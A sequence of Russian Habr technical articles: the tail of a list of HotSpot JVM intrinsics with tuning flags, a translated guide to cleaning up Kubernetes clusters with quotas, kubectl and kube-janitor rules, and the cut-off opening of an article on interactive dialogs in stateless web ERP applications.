_allocateUninitializedArray jdk.internal.misc.Unsafe.allocateUninitializedArray0(Class, int)
_copyMemory jdk.internal.misc.Unsafe.copyMemory0(Object, long, Object, long, long)
_park jdk.internal.misc.Unsafe.park(boolean, long)
_unpark jdk.internal.misc.Unsafe.unpark(Object)
_loadFence jdk.internal.misc.Unsafe.loadFence()
_storeFence jdk.internal.misc.Unsafe.storeFence()
_fullFence jdk.internal.misc.Unsafe.fullFence()
_getObject jdk.internal.misc.Unsafe.getObject(Object, long)
_getBoolean jdk.internal.misc.Unsafe.getBoolean(Object, long)
_getByte jdk.internal.misc.Unsafe.getByte(Object, long)
_getShort jdk.internal.misc.Unsafe.getShort(Object, long)
_getChar jdk.internal.misc.Unsafe.getChar(Object, long)
_getInt jdk.internal.misc.Unsafe.getInt(Object, long)
_getLong jdk.internal.misc.Unsafe.getLong(Object, long)
_getFloat jdk.internal.misc.Unsafe.getFloat(Object, long)
_getDouble jdk.internal.misc.Unsafe.getDouble(Object, long)
_putObject jdk.internal.misc.Unsafe.putObject(Object, long, Object)
_putBoolean jdk.internal.misc.Unsafe.putBoolean(Object, long, boolean)
_putByte jdk.internal.misc.Unsafe.putByte(Object, long, byte)
_putShort jdk.internal.misc.Unsafe.putShort(Object, long, short)
_putChar jdk.internal.misc.Unsafe.putChar(Object, long, char)
_putInt jdk.internal.misc.Unsafe.putInt(Object, long, int)
_putLong jdk.internal.misc.Unsafe.putLong(Object, long, long)
_putFloat jdk.internal.misc.Unsafe.putFloat(Object, long, float)
_putDouble jdk.internal.misc.Unsafe.putDouble(Object, long, double)
_getObjectVolatile jdk.internal.misc.Unsafe.getObjectVolatile(Object, long)
_getBooleanVolatile jdk.internal.misc.Unsafe.getBooleanVolatile(Object, long)
_getByteVolatile jdk.internal.misc.Unsafe.getByteVolatile(Object, long)
_getShortVolatile jdk.internal.misc.Unsafe.getShortVolatile(Object, long)
_getCharVolatile jdk.internal.misc.Unsafe.getCharVolatile(Object, long)
_getIntVolatile jdk.internal.misc.Unsafe.getIntVolatile(Object, long)
_getLongVolatile jdk.internal.misc.Unsafe.getLongVolatile(Object, long)
_getFloatVolatile jdk.internal.misc.Unsafe.getFloatVolatile(Object, long)
_getDoubleVolatile jdk.internal.misc.Unsafe.getDoubleVolatile(Object, long)
_putObjectVolatile jdk.internal.misc.Unsafe.putObjectVolatile(Object, long, Object)
_putBooleanVolatile jdk.internal.misc.Unsafe.putBooleanVolatile(Object, long, boolean)
_putByteVolatile jdk.internal.misc.Unsafe.putByteVolatile(Object, long, byte)
_putShortVolatile jdk.internal.misc.Unsafe.putShortVolatile(Object, long, short)
_putCharVolatile jdk.internal.misc.Unsafe.putCharVolatile(Object, long, char)
_putIntVolatile jdk.internal.misc.Unsafe.putIntVolatile(Object, long, int)
_putLongVolatile jdk.internal.misc.Unsafe.putLongVolatile(Object, long, long)
_putFloatVolatile jdk.internal.misc.Unsafe.putFloatVolatile(Object, long, float)
_putDoubleVolatile jdk.internal.misc.Unsafe.putDoubleVolatile(Object, long, double)
_getObjectOpaque jdk.internal.misc.Unsafe.getObjectOpaque(Object, long)
_getBooleanOpaque jdk.internal.misc.Unsafe.getBooleanOpaque(Object, long)
_getByteOpaque jdk.internal.misc.Unsafe.getByteOpaque(Object, long)
_getShortOpaque jdk.internal.misc.Unsafe.getShortOpaque(Object, long)
_getCharOpaque jdk.internal.misc.Unsafe.getCharOpaque(Object, long)
_getIntOpaque jdk.internal.misc.Unsafe.getIntOpaque(Object, long)
_getLongOpaque jdk.internal.misc.Unsafe.getLongOpaque(Object, long)
_getFloatOpaque jdk.internal.misc.Unsafe.getFloatOpaque(Object, long)
_getDoubleOpaque jdk.internal.misc.Unsafe.getDoubleOpaque(Object, long)
_putObjectOpaque jdk.internal.misc.Unsafe.putObjectOpaque(Object, long, Object)
_putBooleanOpaque jdk.internal.misc.Unsafe.putBooleanOpaque(Object, long, boolean)
_putByteOpaque jdk.internal.misc.Unsafe.putByteOpaque(Object, long, byte)
_putShortOpaque jdk.internal.misc.Unsafe.putShortOpaque(Object, long, short)
_putCharOpaque jdk.internal.misc.Unsafe.putCharOpaque(Object, long, char)
_putIntOpaque jdk.internal.misc.Unsafe.putIntOpaque(Object, long, int)
_putLongOpaque jdk.internal.misc.Unsafe.putLongOpaque(Object, long, long)
_putFloatOpaque jdk.internal.misc.Unsafe.putFloatOpaque(Object, long, float)
_putDoubleOpaque jdk.internal.misc.Unsafe.putDoubleOpaque(Object, long, double)
_getObjectAcquire jdk.internal.misc.Unsafe.getObjectAcquire(Object, long)
_getBooleanAcquire jdk.internal.misc.Unsafe.getBooleanAcquire(Object, long)
_getByteAcquire jdk.internal.misc.Unsafe.getByteAcquire(Object, long)
_getShortAcquire jdk.internal.misc.Unsafe.getShortAcquire(Object, long)
_getCharAcquire jdk.internal.misc.Unsafe.getCharAcquire(Object, long)
_getIntAcquire jdk.internal.misc.Unsafe.getIntAcquire(Object, long)
_getLongAcquire jdk.internal.misc.Unsafe.getLongAcquire(Object, long)
_getFloatAcquire jdk.internal.misc.Unsafe.getFloatAcquire(Object, long)
_getDoubleAcquire jdk.internal.misc.Unsafe.getDoubleAcquire(Object, long)
_putObjectAcquire jdk.internal.misc.Unsafe.putObjectAcquire(Object, long, Object)
_putBooleanAcquire jdk.internal.misc.Unsafe.putBooleanAcquire(Object, long, boolean)
_putByteAcquire jdk.internal.misc.Unsafe.putByteAcquire(Object, long, byte)
_putShortAcquire jdk.internal.misc.Unsafe.putShortAcquire(Object, long, short)
_putCharAcquire jdk.internal.misc.Unsafe.putCharAcquire(Object, long, char)
_putIntAcquire jdk.internal.misc.Unsafe.putIntAcquire(Object, long, int)
_putLongAcquire jdk.internal.misc.Unsafe.putLongAcquire(Object, long, long)
_putFloatAcquire jdk.internal.misc.Unsafe.putFloatAcquire(Object, long, float)
_putDoubleAcquire jdk.internal.misc.Unsafe.putDoubleAcquire(Object, long, double)
_getShortUnaligned jdk.internal.misc.Unsafe.getShortUnaligned(Object, long)
_getCharUnaligned jdk.internal.misc.Unsafe.getCharUnaligned(Object, long)
_getIntUnaligned jdk.internal.misc.Unsafe.getIntUnaligned(Object, long)
_getLongUnaligned jdk.internal.misc.Unsafe.getLongUnaligned(Object, long)
_putShortUnaligned jdk.internal.misc.Unsafe.putShortUnaligned(Object, long, short)
_putCharUnaligned jdk.internal.misc.Unsafe.putCharUnaligned(Object, long, char)
_putIntUnaligned jdk.internal.misc.Unsafe.putIntUnaligned(Object, long, int)
_putLongUnaligned jdk.internal.misc.Unsafe.putLongUnaligned(Object, long, long)
_compareAndSetObject jdk.internal.misc.Unsafe.compareAndSetObject(Object, long, Object, Object)
_compareAndExchangeObject jdk.internal.misc.Unsafe.compareAndExchangeObject(Object, long, Object, Object)
_compareAndExchangeObjectAcquire jdk.internal.misc.Unsafe.compareAndExchangeObjectAcquire(Object, long, Object, Object)
_compareAndExchangeObjectRelease jdk.internal.misc.Unsafe.compareAndExchangeObjectRelease(Object, long, Object, Object)
_compareAndSetLong jdk.internal.misc.Unsafe.compareAndSetLong(Object, long, long, long)
_compareAndExchangeLong jdk.internal.misc.Unsafe.compareAndExchangeLong(Object, long, long, long)
_compareAndExchangeLongAcquire jdk.internal.misc.Unsafe.compareAndExchangeLongAcquire(Object, long, long, long)
_compareAndExchangeLongRelease jdk.internal.misc.Unsafe.compareAndExchangeLongRelease(Object, long, long, long)
_compareAndSetInt jdk.internal.misc.Unsafe.compareAndSetInt(Object, long, int, int)
_compareAndExchangeInt jdk.internal.misc.Unsafe.compareAndExchangeInt(Object, long, int, int)
_compareAndExchangeIntAcquire jdk.internal.misc.Unsafe.compareAndExchangeIntAcquire(Object, long, int, int)
_compareAndExchangeIntRelease jdk.internal.misc.Unsafe.compareAndExchangeIntRelease(Object, long, int, int)
_compareAndSetByte jdk.internal.misc.Unsafe.compareAndSetByte(Object, long, byte, byte)
_compareAndExchangeByte jdk.internal.misc.Unsafe.compareAndExchangeByte(Object, long, byte, byte)
_compareAndExchangeByteAcquire jdk.internal.misc.Unsafe.compareAndExchangeByteAcquire(Object, long, byte, byte)
_compareAndExchangeByteRelease jdk.internal.misc.Unsafe.compareAndExchangeByteRelease(Object, long, byte, byte)
_compareAndSetShort jdk.internal.misc.Unsafe.compareAndSetShort(Object, long, short, short)
_compareAndExchangeShort jdk.internal.misc.Unsafe.compareAndExchangeShort(Object, long, short, short)
_compareAndExchangeShortAcquire jdk.internal.misc.Unsafe.compareAndExchangeShortAcquire(Object, long, short, short)
_compareAndExchangeShortRelease jdk.internal.misc.Unsafe.compareAndExchangeShortRelease(Object, long, short, short)
_weakCompareAndSetObjectPlain jdk.internal.misc.Unsafe.weakCompareAndSetObjectPlain(Object, long, Object, Object)
_weakCompareAndSetObjectAcquire jdk.internal.misc.Unsafe.weakCompareAndSetObjectAcquire(Object, long, Object, Object)
_weakCompareAndSetObjectRelease jdk.internal.misc.Unsafe.weakCompareAndSetObjectRelease(Object, long, Object, Object)
_weakCompareAndSetObject jdk.internal.misc.Unsafe.weakCompareAndSetObject(Object, long, Object, Object)
_weakCompareAndSetLongPlain jdk.internal.misc.Unsafe.weakCompareAndSetLongPlain(Object, long, long, long)
_weakCompareAndSetLongAcquire jdk.internal.misc.Unsafe.weakCompareAndSetLongAcquire(Object, long, long, long)
_weakCompareAndSetLongRelease jdk.internal.misc.Unsafe.weakCompareAndSetLongRelease(Object, long, long, long)
_weakCompareAndSetLong jdk.internal.misc.Unsafe.weakCompareAndSetLong(Object, long, long, long)
_weakCompareAndSetIntPlain jdk.internal.misc.Unsafe.weakCompareAndSetIntPlain(Object, long, int, int)
_weakCompareAndSetIntAcquire jdk.internal.misc.Unsafe.weakCompareAndSetIntAcquire(Object, long, int, int)
_weakCompareAndSetIntRelease jdk.internal.misc.Unsafe.weakCompareAndSetIntRelease(Object, long, int, int)
_weakCompareAndSetInt jdk.internal.misc.Unsafe.weakCompareAndSetInt(Object, long, int, int)
_weakCompareAndSetBytePlain jdk.internal.misc.Unsafe.weakCompareAndSetBytePlain(Object, long, byte, byte)
_weakCompareAndSetByteAcquire jdk.internal.misc.Unsafe.weakCompareAndSetByteAcquire(Object, long, byte, byte)
_weakCompareAndSetByteRelease jdk.internal.misc.Unsafe.weakCompareAndSetByteRelease(Object, long, byte, byte)
_weakCompareAndSetByte jdk.internal.misc.Unsafe.weakCompareAndSetByte(Object, long, byte, byte)
_weakCompareAndSetShortPlain jdk.internal.misc.Unsafe.weakCompareAndSetShortPlain(Object, long, short, short)
_weakCompareAndSetShortAcquire jdk.internal.misc.Unsafe.weakCompareAndSetShortAcquire(Object, long, short, short)
_weakCompareAndSetShortRelease jdk.internal.misc.Unsafe.weakCompareAndSetShortRelease(Object, long, short, short)
_weakCompareAndSetShort jdk.internal.misc.Unsafe.weakCompareAndSetShort(Object, long, short, short)
_getAndAddInt jdk.internal.misc.Unsafe.getAndAddInt(Object, long, int)
_getAndAddLong jdk.internal.misc.Unsafe.getAndAddLong(Object, long, long)
_getAndAddByte jdk.internal.misc.Unsafe.getAndAddByte(Object, long, byte)
_getAndAddShort jdk.internal.misc.Unsafe.getAndAddShort(Object, long, short)
_getAndSetInt jdk.internal.misc.Unsafe.getAndSetInt(Object, long, int)
_getAndSetLong jdk.internal.misc.Unsafe.getAndSetLong(Object, long, int)
_getAndSetByte jdk.internal.misc.Unsafe.getAndSetByte(Object, long, byte)
_getAndSetShort jdk.internal.misc.Unsafe.getAndSetShort(Object, long, short)
_getAndSetObject jdk.internal.misc.Unsafe.getAndSetObject(Object, long, Object)
```
### java.lang.StringBuilder
```
_StringBuilder_void java.lang.StringBuilder()
_StringBuilder_int java.lang.StringBuilder(int)
_StringBuilder_String java.lang.StringBuilder(String)
_StringBuilder_append_char java.lang.StringBuilder.append(char)
_StringBuilder_append_int java.lang.StringBuilder.append(int)
_StringBuilder_append_String java.lang.StringBuilder.append(String)
_StringBuilder_toString java.lang.StringBuilder.toString()
```
### java.lang.StringBuffer
```
_StringBuffer_void java.lang.StringBuffer()
_StringBuffer_int java.lang.StringBuffer(int)
_StringBuffer_String java.lang.StringBuffer(String)
_StringBuffer_append_char java.lang.StringBuffer.append(char)
_StringBuffer_append_int java.lang.StringBuffer.append(int)
_StringBuffer_append_String java.lang.StringBuffer.append(String)
_StringBuffer_toString java.lang.StringBuffer.toString()
```
### java.lang.invoke.MethodHandle
```
_invokeGeneric java.lang.invoke.MethodHandle.invoke*
_invokeBasic java.lang.invoke.MethodHandle.invokeBasic*
_linkToVirtual java.lang.invoke.MethodHandle.linkToVirtual*
_linkToStatic java.lang.invoke.MethodHandle.linkToStatic*
_linkToSpecial java.lang.invoke.MethodHandle.linkToSpecial*
_linkToInterface java.lang.invoke.MethodHandle.linkToInterface*
_compiledLambdaForm java.lang.invoke.MethodHandle.\*
\_profileBoolean java.lang.invoke.MethodHandleImpl.profileBoolean(boolean, int[])
\_isCompileConstant java.lang.invoke.MethodHandleImpl.isCompileConstant(Object)
```
### Boxing и Unboxing
```
_booleanValue java.lang.Boolean.booleanValue()
_byteValue java.lang.Byte.byteValue()
_charValue java.lang.Character.charValue()
_shortValue java.lang.Short.shortValue()
_intValue java.lang.Integer.intValue()
_longValue java.lang.Long.longValue()
_floatValue java.lang.Float.floatValue()
_doubleValue java.lang.Double.doubleValue()
_Boolean_valueOf java.lang.Boolean.valueOf(boolean)
_Byte_valueOf java.lang.Byte.valueOf(byte)
_Character_valueOf java.lang.Character.valueOf(char)
_Short_valueOf java.lang.Short.valueOf(short)
_Integer_valueOf java.lang.Integer.valueOf(int)
_Long_valueOf java.lang.Long.valueOf(long)
_Float_valueOf java.lang.Float.valueOf(float)
_Double_valueOf java.lang.Double.valueOf(double)
```
### java.util.stream.StreamsRangeIntSpliterator
```
_forEachRemaining java_util_stream_StreamsRangeIntSpliterator.forEachRemaining(java.util.function.IntConsumer)
```
Преимущества intrinsic-функций
------------------------------
*Интринсик* предпочтительнее Java-кода в плане производительности по двум основным причинам: во-первых, нет необходимости в дополнительных проверках (проверки на null, границы массивов и прочее), которые приводят к различным RuntimeException, во-вторых, в *intrinsic-функции* могут быть реализованы `platform-specific` оптимизации.
По сравнению с JNI-вызовами отсутствуют накладные расходы, связанные с копированием данных (в native и обратно) и дополнительной прослойкой для контроля за Java-объектами, используемыми в native-коде.
Контроль
--------
Чтобы посмотреть, какие *интринсики* были подставлены, можно воспользоваться опцией `-XX:+PrintIntrinsics`:
```
-XX:+UnlockDiagnosticVMOptions
-XX:+PrintIntrinsics
```
Чтобы убедиться в возможности *интрисификации* (использовании *intrinsic-функций*) только в режиме JIT-компиляции, можно запустить совместно с опцией `-Xint` (JVM запускается только в режиме интерпретатора).
Чтобы отключить использование конкретной *intrinsic-функции*, можно воспользоваться опцией `-XX:DisableIntrinsic`:
```
-XX:+UnlockDiagnosticVMOptions
-XX:DisableIntrinsic=<название интринсика>[,<название интринсика>]
```
Примечания
----------
Важное [замечание](https://habrahabr.ru/post/352086/#comment_10727434) от [apangin](https://habrahabr.ru/users/apangin/):
> Нужно отметить, что не все из перечисленных методов являются интринсиками в прямом смысле, то есть, вовсе не обязательно, что JIT подставляет вместо вызова особый код. Некоторые компилируются как обычные Java методы, а их упоминание в `vmSymbols.hpp` обусловлено необходимостью отличить их в рантайме по другой причине.
>
>
>
> Например, `Method.invoke` отмечен, чтобы не учитывать его в security check при обходе стека. Наличие `Throwable.fillInStackTrace` служит хинтом для Escape Analysys, а `Unsafe.park/unpark` и вовсе напрасно отмечены.
При этом с JDK 9 метод `Throwable.fillInStackTrace` вообще удалён из списка *интринсиков*. | https://habr.com/ru/post/352086/ | null | ru | null |
# Сохраняем кластеры Kubernetes в чистоте и порядке
Одновременно с ростом кластера Kubernetes растет количество ресурсов, volume и других API-объектов. Рано или поздно вы упретесь в потолок, будь то `etcd`, память или процессор. Зачем подвергать себя ненужной боли и проблемам, если можно установить простые — хотя и довольно изощренные — правила? Вы можете настроить автоматизацию и мониторинг, которые будут содержать кластер в аккуратном состоянии. В статье разберемся, как избавиться от лишних нагрузок, через которые утекают ресурсы, и устаревших накопившихся объектов.
Что будет в статье:
* [В чем проблема?](#1)
* [Основы](#2)
* [Ручная очистка](#3)
* [Kube-janitor](#4)
* [Мониторинг ограничений кластера](#5)
* [Заключение](#6)
* [От переводчиков](#7)
### В чем проблема?
Несколько забытых подов, неиспользуемые volume, завершенные задачи или, возможно, старый ConfigMap/Secret — насколько все это важно? Все это просто где-то лежит и ждет, пока не понадобится.
Вообще-то этот хлам не сильно вредит до поры до времени. Но когда эти штуки накапливаются, то начинают влиять на производительность и стабильность кластера. Давайте посмотрим, какие проблемы могут вызвать эти забытые ресурсы.
**Ограничение количества подов.** Каждый кластер Kubernetes имеет несколько основных ограничений. Первое из них — количество подов на узел, которое по документации не рекомендуется делать больше 110. При этом, если у вас достаточно мощные узлы с большим количеством памяти и CPU, вы можете увеличить это количество — возможно, даже до 500, как [было протестировано на OpenShift](https://www.openshift.com/blog/500_pods_per_node). Но если вы достигнете этих пределов, не удивляйтесь, если что-то пойдет не так, и не только потому, что не хватает памяти или мощности процессора.
**Нехватка хранилища ephemeral storage.** Все запущенные поды на узле используют по крайней мере часть этого пространства для логов, кэша, рабочего пространства или emptyDir волюмов. Вы можете достичь предела довольно быстро, что приведет к вытеснению уже существующих подов, или невозможности создания новых. Запуск слишком большого количества подов на узле тоже может способствовать этой проблеме: ephemeral storage используется для образов контейнеров и их записываемых слоев. Если узел достигает предела хранилища, он становится нерабочим (на него будет применен taint), о чем вы узнаете довольно быстро. Если вы хотите узнать текущее состояние диска на узле, запустите на нем `df -h /var/lib.`
**Лишние расходы на PVC.** Схожим образом источником проблем могут стать persistent volume, особенно если вы запускаете Kubernetes в облаке и платите за каждый предоставленный PVC. Очевидно, что для экономии денег необходимо чистить неиспользуемые PVC. Содержание используемых PVC чистыми тоже важно, потому что позволяет избежать нехватки места для ваших приложений. Особенно, если вы запускаете базы данных в кластере.
**Низкая производительность etcd.** Еще один источник проблем — чрезмерное количество объектов, поскольку все они находятся в хранилище `etcd`. По мере роста количества данных в `etcd`, его производительность может начать снижаться. Этого нужно стараться не допускать всеми силами: `etcd` — мозг кластера Kubernetes. Учитывая вышесказанное, чтобы упереться в `etcd,` вам понадобится действительно большой кластер, как [продемонстрировано в этом посте OpenAI](https://openai.com/blog/scaling-kubernetes-to-2500-nodes/). В то же время нет какой-то единой метрики для замера производительности `etcd`, потому что она зависит от количества объектов, их размеров и частоты использования. Так что наилучшим выходом будет профилактика: простое сохранение чистоты и порядка. В противном случае вас могут ждать весьма неприятные сюрпризы.
**Нарушение границ безопасности.** Наконец, мусор в кластере может стать источником проблем сам по себе. Не забывайте подчищать Role Bindings и учетные записи (Service Account), когда ими никто не пользуется.
### Основы
Для решения большинства этих проблем не нужно делать ничего особенно сложного. Лучшим выбором будет совсем не допускать их. Один из вариантов превентивных мер — использование объектных квот, которые вы, как администратор кластера, можете применять в каждом отдельном неймспейсе.
Первое, что можно решить с помощью квот — количество и размер PVC:
```
apiVersion: v1
kind: LimitRange
metadata:
name: pvc-limit
spec:
limits:
- type: PersistentVolumeClaim
max:
storage: 10Gi
min:
storage: 1Gi
---
apiVersion: v1
kind: ResourceQuota
metadata:
name: pvc-quota
spec:
hard:
persistentvolumeclaims: "10"
requests.storage: "10Gi"
# сумма запрошенного хранилища в bronze storage class не может превышать 5 Гб
bronze.storageclass.storage.k8s.io/requests.storage: "5Gi"
```
Выше мы имеем два объекта.
*LimitRange* устанавливает минимальный и максимальный размеры PVC в неймспейсе. Это оградит пользователей от запрашивания слишком больших объемов.
*ResourceQuota* дополнительно обеспечивает жесткое ограничение на количество PVC и их совокупный размер.
Затем вы можете предотвратить создание кучи объектов и оставление их в качестве мусора после использования. Для этого используйте *object count,* квоты на количество объектов, которые зададут жесткое ограничение на количество объектов определенного типа в конкретном неймспейсе:
```
apiVersion: v1
kind: ResourceQuota
metadata:
name: object-count-quota
spec:
hard:
configmaps: "2"
secrets: "10"
services: "5"
count/jobs.batch: "8"
```
Есть несколько встроенных полей, через которые вы можете задать квоты на количество объектов. Например, `configmaps`, `secrets` или `services`, показанные выше. Для всех прочих ресурсов можно использовать формат `count/.`, как показано в примере с `count/jobs.batch`, что может помочь от бесконтрольного создания джоб из-за неправильно настроенного CronJob.
Вероятно, большинству известно о функции установки квот на память и CPU. Но, возможно, для вас станет новостью *квота ephemeral storage*. Альфа-поддержка квот для эфемерного хранилища была добавлена в v1.18 и дала возможность установить границы ephemeral storage так же, как как для памяти и процессора.
```
apiVersion: v1
kind: ResourceQuota
metadata:
name: ephemeral-storage-quota
spec:
hard:
requests.ephemeral-storage: 1Gi
limits.ephemeral-storage: 2Gi
```
Однако будьте осторожны с этой настройкой. Поды могут быть вытеснены из-за превышения лимита, что может быть вызвано слишком большим размером логов контейнера.
Помимо установки квот и границ ресурсов, можно установить ограничение для истории ревизий Deployment — для снижения количества репликасетов, хранящихся в кластере. Для этого используйте `.spec.revisionHistoryLimit,` который по умолчанию равен 10.
Наконец, вы можете установить время жизни (TTL) для очистки кластера от объектов, которые существуют там слишком долго. Эта процедура использует TTL-контроллер, который находится в стадии бета-тестирования с версии v1.21, и в настоящее время работает только для задач, использующих поле `.spec.ttlSecondsAfterFinished.` В будущем, возможно, он будет расширен на другие ресурсы, например, поды.
### Ручная очистка
Если превентивных мер уже недостаточно, потому что у вас накопилось достаточно неиспользуемых ресурсов, вы можете попробовать разовое удаление. Это делается просто с помощью `kubectl get` и`kubectl delete`. Пара основных примеров того, что вы можете сделать:
```
kubectl delete all -l some-label=some-value # Delete based on label
kubectl delete pod $(kubectl get pod -o=jsonpath='{.items[?(@.status.phase=="Succeeded")].metadata.name}') # Delete all "Succeeded" Pods
```
Первая команда выполняет базовое удаление с использованием лейблов ресурсов. Поэтому этот метод потребует от вас предварительно пометить все подлежащие удалению объекты некоторой парой ключ-значение.
Вторая показывает, как вы можете удалить тип ресурсов, основанный на некотором поле, как правило, каком-то поле статуса. В примере выше это будут все завершенные/успешные поды. Этот вариант можно применить и к другим ресурсам, например, завершенным задачам.
Кроме этих двух команд, довольно сложно найти шаблон, который помог бы разом очистить кластер от хлама. Поэтому вам придется специально поискать конкретные неиспользуемые ресурсы.
Могу посоветовать такой инструмент, как [k8spurger](https://github.com/yogeshkk/k8spurger). Он ищет неиспользуемые объекты вроде *RoleBinding, ServiceAccounts, ConfigMaps* и создает список ресурсов-кандидатов на удаление. Это поможет сузить круг поиска.
### Kube-janitor
В разделах выше мы рассмотрели несколько вариантов простой очистки для конкретных случаев. Но лучшим решением для наведения порядка в любом кластере будет использование [kube-janitor](https://codeberg.org/hjacobs/kube-janitor). Этот инструмент работает в вашем кластере так же, как любая другая рабочая нагрузка, и использует JSON-запросы для поиска ресурсов, которые можно удалить на основе TTL или истечения срока действия.
Для развертывания kube-janitor на вашем кластере запустите:
```
git clone https://codeberg.org/hjacobs/kube-janitor.git
cd kube-janitor
kubectl apply -k deploy/
```
Это разложит kube-janitor в default namespace и запустит его с правилами по умолчанию в пробном режиме с использованием флага --dry-run.
Перед отключением dry-run нужно установить собственные правила. Они лежат в config map kube-janitor, которая выглядит примерно так:
```
apiVersion: v1
kind: ConfigMap
metadata:
name: kube-janitor
namespace: default
data:
rules.yaml: |-
rules:
...
```
Конечно, для нас самый интересный раздел здесь — правила, `rules`. Вот несколько полезных примеров, которые вы можете использовать для очистки своего кластера:
```
rules:
# Удаление Jobs в development namespaces после 2 дней.
- id: remove-old-jobs
resources:
- jobs
jmespath: "metadata.namespace == 'development'"
ttl: 2d
# Удаление тех подов в development namespaces, которые не в состоянии выполнения (Failed, Completed).
- id: remove-non-running-pods
resources:
- pods
jmespath: "(status.phase == 'Completed' || status.phase == 'Failed') && metadata.namespace == 'development'"
ttl: 2h
# Удаление всех PVC, которые не использует ни один под
- id: remove-unused-pvcs
resources:
- persistentvolumeclaims
jmespath: "_context.pvc_is_not_mounted"
ttl: 1d
# Удаление всех Deployments, чье имя начинается с 'test-'
- id: remove-test-deployments
resources:
- deployments
jmespath: "starts_with(metadata.name, 'test-')"
ttl: 1d
# Удаление всех ресурсов в playground namespace через неделю
- id: remove-test-deployments
resources:
- "*"
jmespath: "metadata.namespace == 'playground'"
ttl: 7d
```
Этот пример показывает несколько базовых вариантов настройки для очистки от временных, устаревших или неиспользуемых ресурсов. Помимо правил такого рода, можно установить абсолютные дату/время истечения срока действия для конкретных объектов.
Это можно сделать с помощью аннотаций, например:
```
apiVersion: v1
kind: Namespace
metadata:
annotations:
# будет удалено 18.6.2021 в полночь
janitor/expires: "2021-06-18"
name: temp
spec: {}
---
apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
# будет удалено 20.6.2021 в 17:30
janitor/expires: "2021-06-20T17:30:00Z"
name: nginx
spec:
replicas: 1
...
```
Когда закончите устанавливать правила и аннотации, вам стоит дать kube-janitor поработать какое-то время в dry-run режиме с включенными логами отладки. Это мера предосторожности, чтобы инструмент не удалил то, что удалять было не нужно.
Другими словами, не обвиняйте меня, если сотрете production волюмы из-за неправильной конфигурации и отсутствия тестирования.
Наконец, при использовании kube-janitor нужно учитывать его потребности в ресурсах. Если в кластере много объектов, ему может потребоваться больше памяти, чем выделенные по умолчанию 100 Мб. Чтобы его под не застревал в *CrashLoopBackOff,* я выставляю ему лимит 1 Гб.
### Мониторинг ограничений кластера
Не все проблемы можно решить ручной или даже автоматической очисткой. В некоторых случаях мониторинг будет лучшим выбором для обеспечения уверенности в том, что вы не упираетесь в лимиты кластера — будь то количество подов, доступное ephemeral storage или количество объектов в `etcd`.
Мониторинг — это огромная тема, которая требует отдельной статьи, а то и нескольких. Поэтому для сегодняшних целей я просто перечислю несколько Prometheus-метрик, которые могут оказаться полезными для поддержания порядка в кластере:
* `etcd_db_total_size_in_bytes` — размер базы данных `etcd`
* `etcd_object_counts` — количество объектов в `etcd`
* `pod:container_cpu_usage:sum` — использование CPU на каждый под в кластере
* `pod:container_fs_usage_bytes:sum` — использование файловой системы на каждый под в кластере
* `pod:container_memory_usage_bytes:sum` — использование памяти на каждый под в кластере
* `node_memory_MemFree_bytes` — свободная память на каждом узле
* `namespace:container_memory_usage_bytes:sum` — использование памяти по неймспейсам
* `namespace:container_cpu_usage:sum` — загрузка CPU на каждый namespace
* `kubelet_volume_stats_used_bytes` — используемое место по каждому волюму
* `kubelet_running_pods` — количество запущенных подов на узле
* `kubelet_container_log_filesystem_used_bytes` — размер логов на каждый контейнер/под
* `kube_node_status_capacity_pods` — рекомендованный максимум подов на узел
* `kube_node_status_capacity` — максимум для всех метрик (CPU, поды, ephemeral storage, память, hugepages)
Это только некоторые метрики из тех, которые вы можете использовать. Какие из них будут доступны, зависит также от ваших инструментов мониторинга, т.е. вы можете использовать какие-то специальные метрики, доступные на вашем сервисе.
### Заключение
Мы рассмотрели несколько вариантов очистки кластера Kubernetes — некоторые совсем простые, а некоторые посложнее. Независимо от того, что вы выберете, старайтесь не забывать делать уборку в кластере и сохранять порядок. Это может спасти вас от большой головной боли и, по крайней мере, избавит от ненужного хлама в кластере. В конечном счете такая уборка служит тем же целям, что наведение порядка на рабочем столе.
Также имейте ввиду, что если вы оставляете объекты лежать без использования долгое время, вы просто забудете, зачем они там. Это может сильно осложнить понимание, что должно существовать, а что — нет.
Помимо описанных здесь подходов, вы также можете использовать какое-либо решение GitOps — например, ArgoCD или Flux для создания ресурсов и управления ими, что может значительно упростить их очистку. Обычно потребуется удалить только один кастомный ресурс, что вызовет каскадное удаление всех зависимых ресурсов.
От переводчиков
---------------
**13 декабря** в KTS старт курса на тему: *«Деплой приложений в Kubernetes».*
→ Зарегистрироваться и почитать подробнее [можно тут](https://metaclass.kts.studio/kubernetes?utm_source=habr). | https://habr.com/ru/post/587236/ | null | ru | null |
# Невозможное — возможно. Stateful поведение в Stateless приложении!
При разработке веб приложений часто необходимо интерактивное общение с пользователем в процессе выполнения каких-то действий. Веб ERP-системы, в свою очередь, накладывают на такое общение довольно специфичные требования. После ввода в эксплуатацию нескольких вариантов таких систем, я нашел способ, который показался мне наиболее приемлемым. Теперь же хочу поделиться своим решением задачи интерактивной работы с пользователем при выполнении действий на сервере.
Итак, при разработке сложного web-приложения нужно совместить несколько противоречивых требований:
1. прикладной код бизнес-решения должен содержать минимум артефактов, не относящихся к бизнес-задаче
2. выполнение бизнес-операции должно происходить в одной неделимой транзакции
3. в процессе выполнения кода необходимо интерактивное общение с пользователем
4. ожидание ответа от пользователя не должно занимать ресурсы сервера и блокировать работу других пользователей
5. прикладной код выполняется на сервере, общение с клиентом идет через браузер
**Типичная бизнес-задача:** оформление заказа, в процессе заказа на сервере производятся проверки, требующие от оператора интерактивного ввода. Например, мы хотим попросить у пользователя подтверждение его действий при выполнении каких-то условий.
В соответствии с требованием простоты бизнес-кода, нам бы хотелось, чтобы прикладной код выглядел как-то так (внимание, псевдокод!):
```
var данные = СложнаяПроверкаРасчетДанных();
если (данные.НеСовсемВерны())
{
СпроситьПользователя(“У вас дебет с кредитом не сходится, продолжить?”);
}
ПродолжаемОбработкуДанных(данные);
```
При этом в строке подтверждения нам бы хотелось, чтобы произошла магия:
1. Код приостановил работу.
2. В неподтвержденную форму клиента пришел запрос Да/Нет.
3. Если он нажмет “Да” — продолжаем работу.
4. Если “Нет” — дать ему повторно ввести данные формы и еще раз отправить.
Предлагаю на ваш суд свое **“магическое”** решение, которое уже опробовано и успешно работает в моих проектах.
#### Попробуем решить задачу выдачи типичного диалога “Да/нет”.
Главная проблема — мы не можем приостановить выполнение операции на сервере на время ожидания ответа от пользователя по нескольким причинам:
1. все общение клиент-сервер происходит асинхронно и по stateless протоколу.
2. мы не можем занять ресурсы на все время ожидания ответа от пользователя
